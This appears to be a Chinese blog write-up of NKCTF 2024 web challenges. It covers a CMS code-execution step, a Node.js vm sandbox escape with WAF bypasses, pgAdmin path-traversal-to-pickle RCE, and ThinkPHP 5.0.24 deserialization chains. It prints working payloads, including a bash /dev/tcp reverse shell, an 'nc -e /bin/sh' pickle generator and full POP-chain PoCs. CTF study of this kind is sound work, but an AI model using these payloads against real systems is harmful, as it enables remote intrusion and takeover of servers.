您现在的位置是:首页 > 技术教程 正文

nkctf 2024 web题解

admin 阅读: 2024-04-02
后台-插件-广告管理-内容页头部广告(手机)

my first cms

admin路由 提示要你登录 爆破可知道账号密码 admin/Admin123 登陆进去

在extensions 的User Tags UA可以编辑执行代码

修改后点击submit保存 然后点击Run运行

代码执行成功,接下来直接获取flag就行

全世界最简单的CTF

/secret查看源码

  1. const express = require('express');
  2. const bodyParser = require('body-parser');
  3. const app = express();
  4. const fs = require("fs");
  5. const path = require('path');
  6. const vm = require("vm");
  7. app
  8. .use(bodyParser.json())
  9. .set('views', path.join(__dirname, 'views'))
  10. .use(express.static(path.join(__dirname, '/public')))
  11. app.get('/', function (req, res){
  12. res.sendFile(__dirname + '/public/home.html');
  13. })
  14. function waf(code) {
  15. let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
  16. if(code.match(pattern)){
  17. throw new Error("what can I say? hacker out!!");
  18. }
  19. }
  20. app.post('/', function (req, res){
  21. let code = req.body.code;
  22. let sandbox = Object.create(null);
  23. let context = vm.createContext(sandbox);
  24. try {
  25. waf(code)
  26. let result = vm.runInContext(code, context);
  27. console.log(result);
  28. } catch (e){
  29. console.log(e.message);
  30. require('./hack');
  31. }
  32. })
  33. app.get('/secret', function (req, res){
  34. if(process.__filename == null) {
  35. let content = fs.readFileSync(__filename, "utf-8");
  36. return res.send(content);
  37. } else {
  38. let content = fs.readFileSync(process.__filename, "utf-8");
  39. return res.send(content);
  40. }
  41. })
  42. app.listen(3000, ()=>{
  43. console.log("listen on 3000");
  44. })

关键代码

  1. const vm = require("vm");
  2. app.post('/', function (req, res){
  3. let code = req.body.code;
  4. let sandbox = Object.create(null);
  5. let context = vm.createContext(sandbox);
  6. try {
  7. waf(code)
  8. let result = vm.runInContext(code, context);
  9. console.log(result);
  10. } catch (e){
  11. console.log(e.message);
  12. require('./hack');
  13. }
  14. })

很明显的vm沙箱逃逸,随便去网上找个payload(一定要本地测试可打,因为题目环境没有回显,除非你一次性全部正确)

  1. throw new Proxy({}, {
  2. get: function(){
  3. const cc = arguments.callee.caller;
  4. const p = (cc.constructor.constructor('return process'))();
  5. return p.mainModule.require('child_process').execSync('whoami').toString();
  6. }
  7. })

但我们waf 不允许出现[]、exec、process

process我们有两种方法绕过

一种是 String.fromCharCode 绕过

cc.constructor.constructor('return process')==cc.constructor.constructor(String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115)

第二种我们可以发现他正则匹配没有i 也就是对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过

return process=='return Process'.toLowerCase();

不过这个绕过算是简单的,接下来我们看最难的exec绕过,这个东西不是字符串,而是方法,所以我们并不能像之前两种方式绕过,我们选择 Reflect.get 方法绕过

推一篇文章nodejs的命令执行绕过的

https://www.anquanke.com/post/id/237032

  1. 在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。譬如要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval
  2. console.log(Reflect.ownKeys(global))
  3. //返回所有函数
  4. console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
  5. //拿到eval
  6. 拿到eval之后,就可以常规思路rce了
  7. global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')
  8. 这里虽然有可能被检测到的关键字,但由于mainModule、global、child_process等关键字都在字符串里,可以利用上面提到的方法编码,譬如16进制。
  9. global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')
  10. 这里还有个小trick,如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startswith('eva')来搜索
  11. 3.3 过滤中括号的情况
  12. 3.2中,获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕
  13. Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]。
  14. 所以取eval函数的方式可以变成
  15. Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))
  16. 后面拼接上命令执行的payload即可。


说人话 就是根据你提供的对象的键获取到对应的值 是不是和数组的索引有点像呢,我们用他来绕过

  1. throw new Proxy({}, {
  2. get: function(){
  3. const cc = arguments.callee.caller;
  4. const p = (cc.constructor.constructor('return global'))();
  5. const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
  6. return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
  7. }
  8. })

成功接收到shell拿到flag

attack_tacooooo

pgAdmin4

账号tacooooo@qq.com
密码tacooooo
登录 然后找到了一篇文章

Shielder - pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)

确定漏洞点

上传文件 然后修改cookie值就行

生成文件的脚本

  1. import struct
  2. import sys
  3. def produce_pickle_bytes(platform, cmd):
  4. b = b'\x80\x04\x95'
  5. b += struct.pack('L', 22 + len(platform) + len(cmd))
  6. b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
  7. b += b'\x94\x8c\x06system\x94\x93\x94'
  8. b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
  9. b += b'\x94\x85\x94R\x94.'
  10. print(b)
  11. return b
  12. if __name__ == '__main__':
  13. with open('posix.pickle', 'wb') as f:
  14. f.write(produce_pickle_bytes('posix', f"nc ip port -e /bin/sh"))

然后我们的cookie路径是绝对路径而不是相对的

/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!a

上传后改了cookie服务器监听就行

用过就是熟悉

题目给了源码在登陆处/app/controller/user/include.class.php

我们可以发现题目给了hint 你知道tp吗 thinkphp 然后反序列化在密码处 一定是链子的开头

然后我们直接搜索__destruct方法

发现这和tp5.0.24很像

Thinkphp5.0.24反序列化分析和poc - FreeBuf网络安全行业门户

跟着原链子一直跟 一直跟到toarray方法被重写

其实这个方法也被重写了 不过都是调用toString 我们传个数组就能调

原文的toArray方法很长一堆,但我们只要知道他的目的是什么 就是调用__call,我们就构造怎么去调__call

但我们这个可以触发__get方法 访问不存在的属性

发现是我们可控的data,接着我们就能调用__call方法 这里我们找到两个__call方法

一个是config.php里面的__call 可以包含文件

一个是Testone.php里面的__call可以写文件

我们注意到我们的content 写进去的内容来自于hint.php 我们跟进

说明我们的content里面有提示,所以我们的思路就是首先走写文件的__call,然后读hint 直接放poc了

  1. <?php
  2. namespace think\process\pipes;
  3. use think\Collection;
  4. class Pipes{
  5. }
  6. class Windows extends Pipes{
  7. private $files = [];
  8. function __construct(){
  9. $this->files = [new Collection()];//触发Model __toString(),子类Pivot合适
  10. }
  11. }
  12. namespace think;
  13. class Collection{
  14. protected $items = [];
  15. public function __construct(){
  16. $this->items=new View();
  17. }
  18. }
  19. namespace think;
  20. abstract class Testone{
  21. }
  22. class Debug extends Testone{
  23. }
  24. class Config{
  25. }
  26. class View{
  27. public $engine=array("time"=>"10086");
  28. protected $data = [];
  29. function __construct(){
  30. $this->data['Loginout']=new Debug();
  31. }
  32. }
  33. use think\process\pipes\Windows;
  34. echo base64_encode(serialize(new Windows()));

然后我们注意到生成文件名的逻辑

md5(time()),于是我们可以根据本地预测时间的方式执行

然后执行这个脚本后 马上重复发包(生成hint的包),连发六秒,保险起见 也可以多发几秒,这样总有一个是我们的生成的文件名

/app/controller/user/think/md5 下载到hint

  1. 亲爱的Chu0
  2. 我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。
  3. 在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。
  4. 或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。
  5. <<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>
  6. 而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。
  7. 你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。
  8. 或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。
  9. POST /?user/index/loginSubmit HTTP/1.1
  10. Host: 192.168.128.2
  11. Content-Length: 162
  12. Accept: application/json, text/javascript, */*; q=0.01
  13. X-Requested-With: XMLHttpRequest
  14. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
  15. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  16. Origin: http://192.168.128.2
  17. Referer: http://192.168.128.2/
  18. Accept-Encoding: gzip, deflate
  19. Accept-Language: zh-CN,zh;q=0.9
  20. Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
  21. Connection: close
  22. name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit
  23. hint: 新建文件

解密出密码为!@!@!@!@NKCTFChu0

其实sql文件里面也有。。。。。绷不住了

登录进去

发现这有个马 还给了路径 联想到 我们之前还有条__call路子不正是文件包含吗?这里我们就柳暗花明又一村了,直接给出包含的poc

  1. <?php
  2. namespace think\process\pipes;
  3. use think\Collection;
  4. class Pipes{
  5. }
  6. class Windows extends Pipes{
  7. private $files = [];
  8. function __construct(){
  9. $this->files = [new Collection()];//触发Model __toString(),子类Pivot合适
  10. }
  11. }
  12. namespace think;
  13. class Collection{
  14. protected $items = [];
  15. public function __construct(){
  16. $this->items=new View();
  17. }
  18. }
  19. namespace think;
  20. abstract class Testone{
  21. }
  22. class Debug extends Testone{
  23. }
  24. class Config{
  25. }
  26. class View{
  27. public $engine=array("name"=>"data/files/shell");
  28. protected $data = [];
  29. function __construct(){
  30. $this->data['Loginout']=new Config();
  31. }
  32. }
  33. use think\process\pipes\Windows;
  34. echo base64_encode(serialize(new Windows()));

然后执行命令 这里好像没有bash或nc 用curl dns外带 成功

我们直接读flag

这题有点小套啊....

标签:
后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索
排行榜